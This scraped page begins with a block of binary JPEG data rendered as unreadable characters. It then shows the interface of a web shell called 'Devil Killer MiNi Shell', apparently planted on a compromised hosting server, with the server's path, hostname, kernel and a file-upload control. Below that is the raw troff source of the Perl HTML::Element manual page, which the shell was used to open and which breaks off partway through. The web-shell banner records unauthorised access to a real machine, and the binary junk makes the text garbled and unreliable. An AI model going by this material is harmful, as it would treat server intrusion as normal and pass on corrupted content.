JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/man/man3/

Linux boscustweb5005.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/man/man3/HTML::Element.3

.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.32
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  | will give a
.\" real vertical bar.  \*(C+ will give a nicer C++.  Capital omega is used to
.\" do unbreakable dashes and therefore won't be available.  \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
.    de IX
.    tm Index:\\$1\t\\n%\t"\\$2"
..
.    nr % 0
.    rr F
.\}
.\"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear.  Run.  Save yourself.  No user-serviceable parts.
.    \" fudge factors for nroff and troff
.if n \{\
.    ds #H 0
.    ds #V .8m
.    ds #F .3m
.    ds #[ \f1
.    ds #] \fP
.\}
.if t \{\
.    ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.    ds #V .6m
.    ds #F 0
.    ds #[ \&
.    ds #] \&
.\}
.    \" simple accents for nroff and troff
.if n \{\
.    ds ' \&
.    ds ` \&
.    ds ^ \&
.    ds , \&
.    ds ~ ~
.    ds /
.\}
.if t \{\
.    ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.    ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.    ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.    ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.    ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.    ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
.    \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
.    \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.    \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
.    ds : e
.    ds 8 ss
.    ds o a
.    ds d- d\h'-1'\(ga
.    ds D- D\h'-1'\(hy
.    ds th \o'bp'
.    ds Th \o'LP'
.    ds ae ae
.    ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "HTML::Element 3"
.TH HTML::Element 3 "2006-08-04" "perl v5.8.8" "User Contributed Perl Documentation"
.SH "NAME"
HTML::Element \- Class for objects that represent HTML elements
.SH "VERSION"
.IX Header "VERSION"
Version 3.23
.SH "SYNOPSIS"
.IX Header "SYNOPSIS"
.Vb 3
\&    use HTML::Element;
\&    $a = HTML::Element->new('a', href => 'http://www.perl.com/');
\&    $a->push_content("The Perl Homepage");
.Ve
.PP
.Vb 4
\&    $tag = $a->tag;
\&    print "$tag starts out as:",  $a->starttag, "\en";
\&    print "$tag ends as:",  $a->endtag, "\en";
\&    print "$tag\e's href attribute is: ", $a->attr('href'), "\en";
.Ve
.PP
.Vb 2
\&    $links_r = $a->extract_links();
\&    print "Hey, I found ", scalar(@$links_r), " links.\en";
.Ve
.PP
.Vb 2
\&    print "And that, as HTML, is: ", $a->as_HTML, "\en";
\&    $a = $a->delete;
.Ve
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
(This class is part of the HTML::Tree dist.)
.PP
Objects of the HTML::Element class can be used to represent elements
of \s-1HTML\s0 document trees.  These objects have attributes, notably attributes that
designates each element's parent and content.  The content is an array
of text segments and other HTML::Element objects.  A tree with HTML::Element
objects as nodes can represent the syntax tree for a \s-1HTML\s0 document.
.SH "HOW WE REPRESENT TREES"
.IX Header "HOW WE REPRESENT TREES"
Consider this \s-1HTML\s0 document:
.PP
.Vb 9
\&  <html lang='en-US'>
\&    <head>
\&      <title>Stuff</title>
\&      <meta name='author' content='Jojo'>
\&    </head>
\&    <body>
\&     <h1>I like potatoes!</h1>
\&    </body>
\&  </html>
.Ve
.PP
Building a syntax tree out of it makes a tree-structure in memory
that could be diagrammed as:
.PP
.Vb 11
\&                     html (lang='en-US')
\&                      / \e
\&                    /     \e
\&                  /         \e
\&                head        body
\&               /\e               \e
\&             /    \e               \e
\&           /        \e               \e
\&         title     meta              h1
\&          |       (name='author',     |
\&       "Stuff"    content='Jojo')    "I like potatoes"
.Ve
.PP
This is the traditional way to diagram a tree, with the \*(L"root\*(R" at the
top, and it's this kind of diagram that people have in mind when they
say, for example, that \*(L"the meta element is under the head element
instead of under the body element\*(R".  (The same is also said with
\&\*(L"inside\*(R" instead of \*(L"under\*(R" \*(-- the use of \*(L"inside\*(R" makes more sense
when you're looking at the \s-1HTML\s0 source.)
.PP
Another way to represent the above tree is with indenting:
.PP
.Vb 8
\&  html (attributes: lang='en-US')
\&    head
\&      title
\&        "Stuff"
\&      meta (attributes: name='author' content='Jojo')
\&    body
\&      h1
\&        "I like potatoes"
.Ve
.PP
Incidentally, diagramming with indenting works much better for very
large trees, and is easier for a program to generate.  The \f(CW\*(C`$tree\->dump\*(C'\fR
method uses indentation just that way.
.PP
However you diagram the tree, it's stored the same in memory \*(-- it's a
network of objects, each of which has attributes like so:
.PP
.Vb 4
\&  element #1:  _tag: 'html'
\&               _parent: none
\&               _content: [element #2, element #5]
\&               lang: 'en-US'
.Ve
.PP
.Vb 3
\&  element #2:  _tag: 'head'
\&               _parent: element #1
\&               _content: [element #3, element #4]
.Ve
.PP
.Vb 3
\&  element #3:  _tag: 'title'
\&               _parent: element #2
\&               _content: [text segment "Stuff"]
.Ve
.PP
.Vb 5
\&  element #4   _tag: 'meta'
\&               _parent: element #2
\&               _content: none
\&               name: author
\&               content: Jojo
.Ve
.PP
.Vb 3
\&  element #5   _tag: 'body'
\&               _parent: element #1
\&               _content: [element #6]
.Ve
.PP
.Vb 3
\&  element #6   _tag: 'h1'
\&               _parent: element #5
\&               _content: [text segment "I like potatoes"]
.Ve
.PP
The \*(L"treeness\*(R" of the tree-structure that these elements comprise is
not an aspect of any particular object, but is emergent from the
relatedness attributes (_parent and _content) of these element-objects
and from how you use them to get from element to element.
.PP
While you could access the content of a tree by writing code that says
"access the 'src' attribute of the root's \fIfirst\fR child's \fIseventh\fR
child's \fIthird\fR child\*(L", you're more likely to have to scan the contents
of a tree, looking for whatever nodes, or kinds of nodes, you want to
do something with.  The most straightforward way to look over a tree
is to \*(R"traverse" it; an HTML::Element method (\f(CW\*(C`$h\->traverse\*(C'\fR) is
provided for this purpose; and several other HTML::Element methods are
based on it.
.PP
(For everything you ever wanted to know about trees, and then some,
see Niklaus Wirth's \fIAlgorithms + Data Structures = Programs\fR or
Donald Knuth's \fIThe Art of Computer Programming, Volume 1\fR.)
.SH "BASIC METHODS"
.IX Header "BASIC METHODS"
.Sh "$h = HTML::Element\->new('tag', 'attrname' => 'value', ... )"
.IX Subsection "$h = HTML::Element->new('tag', 'attrname' => 'value', ... )"
This constructor method returns a new HTML::Element object.  The tag
name is a required argument; it will be forced to lowercase.
Optionally, you can specify other initial attributes at object
creation time.
.ie n .Sh "$h\->attr('attr') or $h\->attr('attr', 'value')"
.el .Sh "$h\->attr('attr') or \f(CW$h\fP\->attr('attr', 'value')"
.IX Subsection "$h->attr('attr') or $h->attr('attr', 'value')"
Returns (optionally sets) the value of the given attribute of \f(CW$h\fR.  The
attribute name (but not the value, if provided) is forced to
lowercase.  If trying to read the value of an attribute not present
for this element, the return value is undef.
If setting a new value, the old value of that attribute is
returned.
.PP
If methods are provided for accessing an attribute (like \f(CW\*(C`$h\->tag\*(C'\fR for
\&\*(L"_tag\*(R", \f(CW\*(C`$h\->content_list\*(C'\fR, etc. below), use those instead of calling
attr \f(CW\*(C`$h\->attr\*(C'\fR, whether for reading or setting.
.PP
Note that setting an attribute to \f(CW\*(C`undef\*(C'\fR (as opposed to "", the empty
string) actually deletes the attribute.
.ie n .Sh "$h\->\fItag()\fP or $h\->tag('tagname')"
.el .Sh "$h\->\fItag()\fP or \f(CW$h\fP\->tag('tagname')"
.IX Subsection "$h->tag() or $h->tag('tagname')"
Returns (optionally sets) the tag name (also known as the generic
identifier) for the element \f(CW$h\fR.  In setting, the tag name is always
converted to lower case.
.PP
There are four kinds of \*(L"pseudo\-elements\*(R" that show up as
HTML::Element objects:
.IP "Comment pseudo-elements" 4
.IX Item "Comment pseudo-elements"
These are element objects with a \f(CW\*(C`$h\->tag\*(C'\fR value of \*(L"~comment\*(R",
and the content of the comment is stored in the \*(L"text\*(R" attribute
(\f(CW\*(C`$h\->attr("text")\*(C'\fR).  For example, parsing this code with
HTML::TreeBuilder...
.Sp
.Vb 3
\&  <!-- I like Pie.
\&     Pie is good
\&  -->
.Ve
.Sp
produces an HTML::Element object with these attributes:
.Sp
.Vb 4
\&  "_tag",
\&  "~comment",
\&  "text",
\&  " I like Pie.\en     Pie is good\en  "
.Ve
.IP "Declaration pseudo-elements" 4
.IX Item "Declaration pseudo-elements"
Declarations (rarely encountered) are represented as HTML::Element
objects with a tag name of \*(L"~declaration\*(R", and content in the \*(L"text\*(R"
attribute.  For example, this:
.Sp
.Vb 1
\&  <!DOCTYPE foo>
.Ve
.Sp
produces an element whose attributes include:
.Sp
.Vb 1
\&  "_tag", "~declaration", "text", "DOCTYPE foo"
.Ve
.IP "Processing instruction pseudo-elements" 4
.IX Item "Processing instruction pseudo-elements"
PIs (rarely encountered) are represented as HTML::Element objects with
a tag name of \*(L"~pi\*(R", and content in the \*(L"text\*(R" attribute.  For
example, this:
.Sp
.Vb 1
\&  <?stuff foo?>
.Ve
.Sp
produces an element whose attributes include:
.Sp
.Vb 1
\&  "_tag", "~pi", "text", "stuff foo?"
.Ve
.Sp
(assuming a recent version of HTML::Parser)
.IP "~literal pseudo-elements" 4
.IX Item "~literal pseudo-elements"
These objects are not currently produced by HTML::TreeBuilder, but can
be used to represent a \*(L"super\-literal\*(R" \*(-- i.e., a literal you want to
be immune from escaping.  (Yes, I just made that term up.)
.Sp
That is, this is useful if you want to insert code into a tree that
you plan to dump out with \f(CW\*(C`as_HTML\*(C'\fR, where you want, for some reason,
to suppress \f(CW\*(C`as_HTML\*(C'\fR's normal behavior of amp-quoting text segments.
.Sp
For example, this:
.Sp
.Vb 6
\&  my $literal = HTML::Element->new('~literal',
\&    'text' => 'x < 4 & y > 7'
\&  );
\&  my $span = HTML::Element->new('span');
\&  $span->push_content($literal);
\&  print $span->as_HTML;
.Ve
.Sp
prints this:
.Sp
.Vb 1
\&  <span>x < 4 & y > 7</span>
.Ve
.Sp
Whereas this:
.Sp
.Vb 4
\&  my $span = HTML::Element->new('span');
\&  $span->push_content('x < 4 & y > 7');
\&    # normal text segment
\&  print $span->as_HTML;
.Ve
.Sp
prints this:
.Sp
.Vb 1
\&  <span>x &lt; 4 &amp; y &gt; 7</span>
.Ve
.Sp
Unless you're inserting lots of pre-cooked code into existing trees,
and dumping them out again, it's not likely that you'll find
\&\f(CW\*(C`~literal\*(C'\fR pseudo-elements useful.
.ie n .Sh "$h\->\fIparent()\fP or $h\->parent($new_parent)"
.el .Sh "$h\->\fIparent()\fP or \f(CW$h\fP\->parent($new_parent)"
.IX Subsection "$h->parent() or $h->parent($new_parent)"
Returns (optionally sets) the parent (aka \*(L"container\*(R") for this element.
The parent should either be undef, or should be another element.
.PP
You \fBshould not\fR use this to directly set the parent of an element.
Instead use any of the other methods under \*(L"Structure\-Modifying
Methods\*(R", below.
.PP
Note that not($h\->parent) is a simple test for whether \f(CW$h\fR is the
root of its subtree.
.Sh "$h\->\fIcontent_list()\fP"
.IX Subsection "$h->content_list()"
Returns a list of the child nodes of this element \*(-- i.e., what
nodes (elements or text segments) are inside/under this element. (Note
that this may be an empty list.)
.PP
In a scalar context, this returns the count of the items,
as you may expect.
.Sh "$h\->\fIcontent()\fP"
.IX Subsection "$h->content()"
This somewhat deprecated method returns the content of this element;
but unlike content_list, this returns either undef (which you should
understand to mean no content), or a \fIreference to the array\fR of
content items, each of which is either a text segment (a string, i.e.,
a defined non-reference scalar value), or an HTML::Element object.
Note that even if an arrayref is returned, it may be a reference to an
empty array.
.PP
While older code should feel free to continue to use \f(CW\*(C`$h\->content\*(C'\fR,
new code should use \f(CW\*(C`$h\->content_list\*(C'\fR in almost all conceivable
cases.  It is my experience that in most cases this leads to simpler
code anyway, since it means one can say:
.PP
.Vb 1
\&    @children = $h->content_list;
.Ve
.PP
instead of the inelegant:
.PP
.Vb 1
\&    @children = @{$h->content || []};
.Ve
.PP
If you do use \f(CW\*(C`$h\->content\*(C'\fR (or \f(CW\*(C`$h\->content_array_ref\*(C'\fR), you should not
use the reference returned by it (assuming it returned a reference,
and not undef) to directly set or change the content of an element or
text segment!  Instead use content_refs_list or any of the other
methods under \*(L"Structure\-Modifying Methods\*(R", below.
.Sh "$h\->\fIcontent_array_ref()\fP"
.IX Subsection "$h->content_array_ref()"
This is like \f(CW\*(C`content\*(C'\fR (with all its caveats and deprecations) except
that it is guaranteed to return an array reference.  That is, if the
given node has no \f(CW\*(C`_content\*(C'\fR attribute, the \f(CW\*(C`content\*(C'\fR method would
return that undef, but \f(CW\*(C`content_array_ref\*(C'\fR would set the given node's
\&\f(CW\*(C`_content\*(C'\fR value to \f(CW\*(C`[]\*(C'\fR (a reference to a new, empty array), and
return that.
.Sh "$h\->content_refs_list"
.IX Subsection "$h->content_refs_list"
This returns a list of scalar references to each element of \f(CW$h\fR's
content list.  This is useful in case you want to in-place edit any
large text segments without having to get a copy of the current value
of that segment value, modify that copy, then use the
\&\f(CW\*(C`splice_content\*(C'\fR to replace the old with the new.  Instead, here you
can in-place edit:
.PP
.Vb 4
\&    foreach my $item_r ($h->content_refs_list) {
\&        next if ref $$item_r;
\&        $$item_r =~ s/honour/honor/g;
\&    }
.Ve
.PP
You \fIcould\fR currently achieve the same affect with:
.PP
.Vb 5
\&    foreach my $item (@{ $h->content_array_ref }) {
\&        # deprecated!
\&        next if ref $item;
\&        $item =~ s/honour/honor/g;
\&    }
.Ve
.PP
\&...except that using the return value of \f(CW\*(C`$h\->content\*(C'\fR or
\&\f(CW\*(C`$h\->content_array_ref\*(C'\fR to do that is deprecated, and just might stop
working in the future.
.ie n .Sh "$h\->\fIimplicit()\fP or $h\->implicit($bool)"
.el .Sh "$h\->\fIimplicit()\fP or \f(CW$h\fP\->implicit($bool)"
.IX Subsection "$h->implicit() or $h->implicit($bool)"
Returns (optionally sets) the \*(L"_implicit\*(R" attribute.  This attribute is
a flag that's used for indicating that the element was not originally
present in the source, but was added to the parse tree (by
HTML::TreeBuilder, for example) in order to conform to the rules of
\&\s-1HTML\s0 structure.
.ie n .Sh "$h\->\fIpos()\fP or $h\->pos($element)"
.el .Sh "$h\->\fIpos()\fP or \f(CW$h\fP\->pos($element)"
.IX Subsection "$h->pos() or $h->pos($element)"
Returns (and optionally sets) the \*(L"_pos\*(R" (for "current \fIpos\fRition")
pointer of \f(CW$h\fR.  This attribute is a pointer used during some
parsing operations, whose value is whatever HTML::Element element
at or under \f(CW$h\fR is currently \*(L"open\*(R", where \f(CW\*(C`$h\->insert_element(NEW)\*(C'\fR
will actually insert a new element.
.PP
(This has nothing to do with the Perl function called \*(L"pos\*(R", for
controlling where regular expression matching starts.)
.PP
If you set \f(CW\*(C`$h\->pos($element)\*(C'\fR, be sure that \f(CW$element\fR is
either \f(CW$h\fR, or an element under \f(CW$h\fR.
.PP
If you've been modifying the tree under \f(CW$h\fR and are no longer
sure \f(CW\*(C`$h\->pos\*(C'\fR is valid, you can enforce validity with:
.PP
.Vb 1
\&    $h->pos(undef) unless $h->pos->is_inside($h);
.Ve
.Sh "$h\->\fIall_attr()\fP"
.IX Subsection "$h->all_attr()"
Returns all this element's attributes and values, as key-value pairs.
This will include any \*(L"internal\*(R" attributes (i.e., ones not present
in the original element, and which will not be represented if/when you
call \f(CW\*(C`$h\->as_HTML\*(C'\fR).  Internal attributes are distinguished by the fact
that the first character of their key (not value! key!) is an
underscore (\*(L"_\*(R").
.PP
Example output of \f(CW\*(C`$h\->all_attr()\*(C'\fR :
\&\f(CW\*(C`'_parent', \*(C'\fR\fI[object_value]\fR\f(CW\*(C` , '_tag', 'em', 'lang', 'en\-US',
\&'_content', \*(C'\fR\fI[array\-ref value]\fR.
.Sh "$h\->\fIall_attr_names()\fP"
.IX Subsection "$h->all_attr_names()"
Like all_attr, but only returns the names of the attributes.
.PP
Example output of \f(CW\*(C`$h\->all_attr_names()\*(C'\fR :
\&\f(CW\*(C`'_parent', '_tag', 'lang', '_content', \*(C'\fR.
.Sh "$h\->\fIall_external_attr()\fP"
.IX Subsection "$h->all_external_attr()"
Like \f(CW\*(C`all_attr\*(C'\fR, except that internal attributes are not present.
.Sh "$h\->\fIall_external_attr_names()\fP"
.IX Subsection "$h->all_external_attr_names()"
Like \f(CW\*(C`all_external_attr_names\*(C'\fR, except that internal attributes' names
are not present.
.ie n .Sh "$h\->\fIid()\fP or $h\->id($string)"
.el .Sh "$h\->\fIid()\fP or \f(CW$h\fP\->id($string)"
.IX Subsection "$h->id() or $h->id($string)"
Returns (optionally sets to \f(CW$string\fR) the \*(L"id\*(R" attribute.
\&\f(CW\*(C`$h\->id(undef)\*(C'\fR deletes the \*(L"id\*(R" attribute.
.ie n .Sh "$h\->\fIidf()\fP or $h\->idf($string)"
.el .Sh "$h\->\fIidf()\fP or \f(CW$h\fP\->idf($string)"
.IX Subsection "$h->idf() or $h->idf($string)"
Just like the \f(CW\*(C`id\*(C'\fR method, except that if you call \f(CW\*(C`$h\->idf()\*(C'\fR and
no \*(L"id\*(R" attribute is defined for this element, then it's set to a
likely-to-be-unique value, and returned.  (The \*(L"f\*(R" is for \*(L"force\*(R".)
.SH "STRUCTURE-MODIFYING METHODS"
.IX Header "STRUCTURE-MODIFYING METHODS"
These methods are provided for modifying the content of trees
by adding or changing nodes as parents or children of other nodes.
.Sh "$h\->push_content($element_or_text, ...)"
.IX Subsection "$h->push_content($element_or_text, ...)"
Adds the specified items to the \fIend\fR of the content list of the
element \f(CW$h\fR.  The items of content to be added should each be either a
text segment (a string), an HTML::Element object, or an arrayref.
Arrayrefs are fed thru \f(CW\*(C`$h\->new_from_lol(that_arrayref)\*(C'\fR to
convert them into elements, before being added to the content
list of \f(CW$h\fR.  This means you can say things concise things like:
.PP
.Vb 6
\&  $body->push_content(
\&    ['br'],
\&    ['ul',
\&      map ['li', $_], qw(Peaches Apples Pears Mangos)
\&    ]
\&  );
.Ve
.PP
See \f(CW\*(C`new_from_lol\*(C'\fR method's documentation, far below, for more
explanation.
.PP
The push_content method will try to consolidate adjacent text segments
while adding to the content list.  That's to say, if \f(CW$h\fR's content_list is
.PP
.Vb 1
\&  ('foo bar ', $some_node, 'baz!')
.Ve
.PP
and you call
.PP
.Vb 1
\&   $h->push_content('quack?');
.Ve
.PP
then the resulting content list will be this:
.PP
.Vb 1
\&  ('foo bar ', $some_node, 'baz!quack?')
.Ve
.PP
and not this:
.PP
.Vb 1
\&  ('foo bar ', $some_node, 'baz!', 'quack?')
.Ve
.PP
If that latter is what you want, you'll have to override the
feature of consolidating text by using splice_content,
as in:
.PP
.Vb 1
\&  $h->splice_content(scalar($h->content_list),0,'quack?');
.Ve
.PP
Similarly, if you wanted to add 'Skronk' to the beginning of
the content list, calling this:
.PP
.Vb 1
\&   $h->unshift_content('Skronk');
.Ve
.PP
then the resulting content list will be this:
.PP
.Vb 1
\&  ('Skronkfoo bar ', $some_node, 'baz!')
.Ve
.PP
and not this:
.PP
.Vb 1
\&  ('Skronk', 'foo bar ', $some_node, 'baz!')
.Ve
.PP
What you'd to do get the latter is:
.PP
.Vb 1
\&  $h->splice_content(0,0,'Skronk');
.Ve
.Sh "$h\->unshift_content($element_or_text, ...)"
.IX Subsection "$h->unshift_content($element_or_text, ...)"
Just like \f(CW\*(C`push_content\*(C'\fR, but adds to the \fIbeginning\fR of the \f(CW$h\fR
element's content list.
.PP
The items of content to be added should each be
either a text segment (a string), an HTML::Element object, or
an arrayref (which is fed thru \f(CW\*(C`new_from_lol\*(C'\fR).
.PP
The unshift_content method will try to consolidate adjacent text segments
while adding to the content list.  See above for a discussion of this.
.ie n .Sh "$h\->splice_content($offset, $length\fP, \f(CW$element_or_text, ...)"
.el .Sh "$h\->splice_content($offset, \f(CW$length\fP, \f(CW$element_or_text\fP, ...)"
.IX Subsection "$h->splice_content($offset, $length, $element_or_text, ...)"
Detaches the elements from \f(CW$h\fR's list of content\-nodes, starting at
\&\f(CW$offset\fR and continuing for \f(CW$length\fR items, replacing them with the
elements of the following list, if any.  Returns the elements (if any)
removed from the content\-list.  If \f(CW$offset\fR is negative, then it starts
that far from the end of the array, just like Perl's normal \f(CW\*(C`splice\*(C'\fR
function.  If \f(CW$length\fR and the following list is omitted, removes
everything from \f(CW$offset\fR onward.
.PP
The items of content to be added (if any) should each be either a text
segment (a string), an arrayref (which is fed thru \f(CW\*(C`new_from_lol\*(C'\fR),
or an HTML::Element object that's not already
a child of \f(CW$h\fR.
.Sh "$h\->\fIdetach()\fP"
.IX Subsection "$h->detach()"
This unlinks \f(CW$h\fR from its parent, by setting its 'parent' attribute to
undef, and by removing it from the content list of its parent (if it
had one).  The return value is the parent that was detached from (or
undef, if \f(CW$h\fR had no parent to start with).  Note that neither \f(CW$h\fR nor
its parent are explicitly destroyed.
.Sh "$h\->\fIdetach_content()\fP"
.IX Subsection "$h->detach_content()"
This unlinks all of \f(CW$h\fR's children from \f(CW$h\fR, and returns them.
Note that these are not explicitly destroyed; for that, you
can just use \f(CW$h\fR\->delete_content.
